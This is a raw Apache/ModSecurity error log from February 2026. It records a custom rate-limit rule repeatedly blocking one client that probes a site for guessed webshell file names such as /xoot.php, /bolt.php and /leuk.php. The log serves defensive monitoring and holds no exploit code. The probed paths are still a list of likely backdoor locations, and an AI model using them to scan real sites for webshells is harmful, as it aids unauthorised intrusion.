[Thu Feb 26 20:44:00.128979 2026] [:error] [pid 54991:tid 55028] [client 172.190.142.176:39647] [client 172.190.142.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/plugins.php"] [unique_id "aaBAEN4Zx-mJ8gbRB2jhiwAAAEg"]
[Thu Feb 26 20:44:00.621079 2026] [:error] [pid 55051:tid 55061] [client 172.190.142.176:60318] [client 172.190.142.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/plugins.php"] [unique_id "aaBAEAmK1w2kZvh5eLGhyQAAAIc"]
[Thu Feb 26 20:44:01.094078 2026] [:error] [pid 25311:tid 25319] [client 172.190.142.176:39662] [client 172.190.142.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/xoot.php"] [unique_id "aaBAEdfdM__yZAgJFSvWtAAAAYU"]
[Thu Feb 26 20:44:01.581069 2026] [:error] [pid 20419:tid 20442] [client 172.190.142.176:39642] [client 172.190.142.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/xoot.php"] [unique_id "aaBAEe3DVDvMfTYYUBVOxgAAAdQ"]
[Thu Feb 26 20:44:02.067068 2026] [:error] [pid 20419:tid 20440] [client 172.190.142.176:46495] [client 172.190.142.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/xoot.php"] [unique_id "aaBAEu3DVDvMfTYYUBVOyAAAAdI"]
[Thu Feb 26 20:44:02.548287 2026] [:error] [pid 44444:tid 44470] [client 172.190.142.176:20122] [client 172.190.142.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/xoot.php"] [unique_id "aaBAEm2sMNmj-yekUk0NHAAAAhQ"]
[Thu Feb 26 20:44:03.005459 2026] [:error] [pid 25311:tid 25324] [client 172.190.142.176:60323] [client 172.190.142.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/X57.php"] [unique_id "aaBAE9fdM__yZAgJFSvWuAAAAYo"]
[Thu Feb 26 20:44:03.418833 2026] [:error] [pid 20419:tid 20439] [client 172.190.142.176:65288] [client 172.190.142.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/X57.php"] [unique_id "aaBAE-3DVDvMfTYYUBVOzQAAAdE"]
[Thu Feb 26 20:44:03.832866 2026] [:error] [pid 25311:tid 25320] [client 172.190.142.176:47128] [client 172.190.142.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/X57.php"] [unique_id "aaBAE9fdM__yZAgJFSvWuQAAAYY"]
[Thu Feb 26 20:44:04.348590 2026] [:error] [pid 55122:tid 55138] [client 172.190.142.176:65055] [client 172.190.142.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/X57.php"] [unique_id "aaBAFILiR0OfjFxvcN8qjgAAAM4"]
[Thu Feb 26 20:44:04.800342 2026] [:error] [pid 55122:tid 55133] [client 172.190.142.176:60336] [client 172.190.142.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/vx.php"] [unique_id "aaBAFILiR0OfjFxvcN8qjwAAAMk"]
[Thu Feb 26 20:44:05.244484 2026] [:error] [pid 55122:tid 55135] [client 172.190.142.176:47722] [client 172.190.142.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/vx.php"] [unique_id "aaBAFYLiR0OfjFxvcN8qkAAAAMs"]
[Thu Feb 26 20:44:05.681655 2026] [:error] [pid 44444:tid 44473] [client 172.190.142.176:39625] [client 172.190.142.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/vx.php"] [unique_id "aaBAFW2sMNmj-yekUk0NKAAAAhc"]
[Thu Feb 26 20:44:06.097446 2026] [:error] [pid 3883:tid 3897] [client 172.190.142.176:65044] [client 172.190.142.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/vx.php"] [unique_id "aaBAFuA33x90V6yYHajUGQAAAUs"]
[Thu Feb 26 20:44:06.559532 2026] [:error] [pid 44444:tid 44461] [client 172.190.142.176:47143] [client 172.190.142.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/file59.php"] [unique_id "aaBAFm2sMNmj-yekUk0NLQAAAgs"]
[Thu Feb 26 20:44:06.999445 2026] [:error] [pid 44444:tid 44465] [client 172.190.142.176:47163] [client 172.190.142.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/file59.php"] [unique_id "aaBAFm2sMNmj-yekUk0NMAAAAg8"]
[Thu Feb 26 20:44:07.472495 2026] [:error] [pid 3883:tid 3903] [client 172.190.142.176:47705] [client 172.190.142.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/file59.php"] [unique_id "aaBAF-A33x90V6yYHajUHQAAAVE"]
[Thu Feb 26 20:44:07.910553 2026] [:error] [pid 25311:tid 25329] [client 172.190.142.176:38330] [client 172.190.142.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/file59.php"] [unique_id "aaBAF9fdM__yZAgJFSvWvAAAAY8"]
[Thu Feb 26 20:44:08.343255 2026] [:error] [pid 54990:tid 54995] [client 172.190.142.176:38831] [client 172.190.142.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/wp-admin/css/bolt.php"] [unique_id "aaBAGHtr2qmt_mBhH2wkmwAAAAI"]
[Thu Feb 26 20:44:08.797238 2026] [:error] [pid 25311:tid 25333] [client 172.190.142.176:54613] [client 172.190.142.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/wp-admin/css/bolt.php"] [unique_id "aaBAGNfdM__yZAgJFSvWvQAAAZM"]
[Thu Feb 26 20:44:09.247315 2026] [:error] [pid 54991:tid 55020] [client 172.190.142.176:65304] [client 172.190.142.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/wp-admin/css/bolt.php"] [unique_id "aaBAGd4Zx-mJ8gbRB2jhmAAAAEA"]
[Thu Feb 26 20:44:09.662750 2026] [:error] [pid 54991:tid 55025] [client 172.190.142.176:56974] [client 172.190.142.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/wp-admin/css/bolt.php"] [unique_id "aaBAGd4Zx-mJ8gbRB2jhmQAAAEU"]
[Thu Feb 26 20:44:10.073921 2026] [:error] [pid 54990:tid 55008] [client 172.190.142.176:3262] [client 172.190.142.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/shas.php"] [unique_id "aaBAGntr2qmt_mBhH2wknwAAAA8"]
[Thu Feb 26 20:44:10.521577 2026] [:error] [pid 54990:tid 55005] [client 172.190.142.176:3230] [client 172.190.142.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/shas.php"] [unique_id "aaBAGntr2qmt_mBhH2wkoQAAAAw"]
[Thu Feb 26 20:44:10.967856 2026] [:error] [pid 25311:tid 25335] [client 172.190.142.176:38321] [client 172.190.142.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/shas.php"] [unique_id "aaBAGtfdM__yZAgJFSvWvwAAAZU"]
[Thu Feb 26 20:44:11.404295 2026] [:error] [pid 25311:tid 25336] [client 172.190.142.176:51608] [client 172.190.142.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/shas.php"] [unique_id "aaBAG9fdM__yZAgJFSvWwQAAAZY"]
[Thu Feb 26 20:44:11.854301 2026] [:error] [pid 44444:tid 44471] [client 172.190.142.176:38297] [client 172.190.142.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/xa.php"] [unique_id "aaBAG22sMNmj-yekUk0NOgAAAhU"]
[Thu Feb 26 20:44:12.362670 2026] [:error] [pid 3883:tid 3905] [client 172.190.142.176:38285] [client 172.190.142.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/xa.php"] [unique_id "aaBAHOA33x90V6yYHajULAAAAVM"]
[Thu Feb 26 20:44:12.830409 2026] [:error] [pid 3883:tid 3889] [client 172.190.142.176:19401] [client 172.190.142.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/xa.php"] [unique_id "aaBAHOA33x90V6yYHajULwAAAUM"]
[Thu Feb 26 20:44:13.253570 2026] [:error] [pid 25311:tid 25327] [client 172.190.142.176:57021] [client 172.190.142.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/xa.php"] [unique_id "aaBAHdfdM__yZAgJFSvWwgAAAY0"]
[Thu Feb 26 20:44:13.739621 2026] [:error] [pid 3883:tid 3903] [client 172.190.142.176:54623] [client 172.190.142.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/xda.php"] [unique_id "aaBAHeA33x90V6yYHajUMwAAAVE"]
[Thu Feb 26 20:44:14.370520 2026] [:error] [pid 3883:tid 3898] [client 172.190.142.176:65329] [client 172.190.142.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/xda.php"] [unique_id "aaBAHuA33x90V6yYHajUPQAAAUw"]
[Thu Feb 26 20:44:14.833335 2026] [:error] [pid 3883:tid 3887] [client 172.190.142.176:38302] [client 172.190.142.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/xda.php"] [unique_id "aaBAHuA33x90V6yYHajUPwAAAUE"]
[Thu Feb 26 20:44:15.303556 2026] [:error] [pid 3883:tid 3895] [client 172.190.142.176:19416] [client 172.190.142.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/xda.php"] [unique_id "aaBAH-A33x90V6yYHajURAAAAUk"]
[Thu Feb 26 20:44:15.797548 2026] [:error] [pid 20419:tid 20425] [client 172.190.142.176:38299] [client 172.190.142.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/er.php"] [unique_id "aaBAH-3DVDvMfTYYUBVO8AAAAcM"]
[Thu Feb 26 20:44:16.250524 2026] [:error] [pid 20419:tid 20446] [client 172.190.142.176:22963] [client 172.190.142.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/er.php"] [unique_id "aaBAIO3DVDvMfTYYUBVO8QAAAdg"]
[Thu Feb 26 20:44:16.759725 2026] [:error] [pid 54991:tid 55030] [client 172.190.142.176:56889] [client 172.190.142.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/er.php"] [unique_id "aaBAIN4Zx-mJ8gbRB2jhngAAAEo"]
[Thu Feb 26 20:44:17.246950 2026] [:error] [pid 54990:tid 55003] [client 172.190.142.176:3120] [client 172.190.142.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/er.php"] [unique_id "aaBAIXtr2qmt_mBhH2wksQAAAAo"]
[Thu Feb 26 20:44:17.682544 2026] [:error] [pid 20419:tid 20426] [client 172.190.142.176:22918] [client 172.190.142.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/fault.php"] [unique_id "aaBAIe3DVDvMfTYYUBVO9wAAAcQ"]
[Thu Feb 26 20:44:18.124496 2026] [:error] [pid 3883:tid 3908] [client 172.190.142.176:30383] [client 172.190.142.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/fault.php"] [unique_id "aaBAIuA33x90V6yYHajUUAAAAVY"]
[Thu Feb 26 20:44:18.555165 2026] [:error] [pid 44444:tid 44473] [client 172.190.142.176:19452] [client 172.190.142.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/fault.php"] [unique_id "aaBAIm2sMNmj-yekUk0NSQAAAhc"]
[Thu Feb 26 20:44:18.998712 2026] [:error] [pid 55051:tid 55066] [client 172.190.142.176:30355] [client 172.190.142.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/fault.php"] [unique_id "aaBAIgmK1w2kZvh5eLGh1AAAAIw"]
[Thu Feb 26 20:44:19.441531 2026] [:error] [pid 55122:tid 55139] [client 172.190.142.176:30345] [client 172.190.142.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/motu.php"] [unique_id "aaBAI4LiR0OfjFxvcN8qkQAAAM8"]
[Thu Feb 26 20:44:19.876207 2026] [:error] [pid 25311:tid 25317] [client 172.190.142.176:3222] [client 172.190.142.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/motu.php"] [unique_id "aaBAI9fdM__yZAgJFSvWxAAAAYM"]
[Thu Feb 26 20:44:20.308057 2026] [:error] [pid 44444:tid 44471] [client 172.190.142.176:39152] [client 172.190.142.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/motu.php"] [unique_id "aaBAJG2sMNmj-yekUk0NSgAAAhU"]
[Thu Feb 26 20:44:20.764750 2026] [:error] [pid 55618:tid 55633] [client 172.190.142.176:19420] [client 172.190.142.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/motu.php"] [unique_id "aaBAJB61Vrh12f_8oWQFwgAAAQw"]
[Thu Feb 26 20:44:21.221302 2026] [:error] [pid 44444:tid 44472] [client 172.190.142.176:3213] [client 172.190.142.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/66.php"] [unique_id "aaBAJW2sMNmj-yekUk0NTQAAAhY"]
[Thu Feb 26 20:44:21.677482 2026] [:error] [pid 44444:tid 44454] [client 172.190.142.176:38793] [client 172.190.142.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/66.php"] [unique_id "aaBAJW2sMNmj-yekUk0NTwAAAgQ"]
[Thu Feb 26 20:44:22.133356 2026] [:error] [pid 44444:tid 44468] [client 172.190.142.176:22953] [client 172.190.142.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/66.php"] [unique_id "aaBAJm2sMNmj-yekUk0NUwAAAhI"]
[Thu Feb 26 20:44:22.666120 2026] [:error] [pid 54990:tid 54996] [client 172.190.142.176:56849] [client 172.190.142.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/66.php"] [unique_id "aaBAJntr2qmt_mBhH2wktgAAAAM"]
[Thu Feb 26 20:44:23.219858 2026] [:error] [pid 20419:tid 20443] [client 172.190.142.176:38323] [client 172.190.142.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/leuk.php"] [unique_id "aaBAJ-3DVDvMfTYYUBVPAAAAAdU"]
[Thu Feb 26 20:44:23.748821 2026] [:error] [pid 3883:tid 3888] [client 172.190.142.176:56870] [client 172.190.142.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/leuk.php"] [unique_id "aaBAJ-A33x90V6yYHajUVQAAAUI"]
[Thu Feb 26 20:44:24.250218 2026] [:error] [pid 20419:tid 20440] [client 172.190.142.176:30352] [client 172.190.142.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/leuk.php"] [unique_id "aaBAKO3DVDvMfTYYUBVPAgAAAdI"]
[Thu Feb 26 20:44:24.766958 2026] [:error] [pid 55618:tid 55635] [client 172.190.142.176:54619] [client 172.190.142.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/leuk.php"] [unique_id "aaBAKB61Vrh12f_8oWQFxwAAAQ4"]
[Thu Feb 26 20:44:25.224534 2026] [:error] [pid 20419:tid 20439] [client 172.190.142.176:38830] [client 172.190.142.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/xqq.php"] [unique_id "aaBAKe3DVDvMfTYYUBVPBwAAAdE"]
[Thu Feb 26 20:44:25.797718 2026] [:error] [pid 54991:tid 55024] [client 172.190.142.176:51623] [client 172.190.142.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/xqq.php"] [unique_id "aaBAKd4Zx-mJ8gbRB2jhsQAAAEQ"]
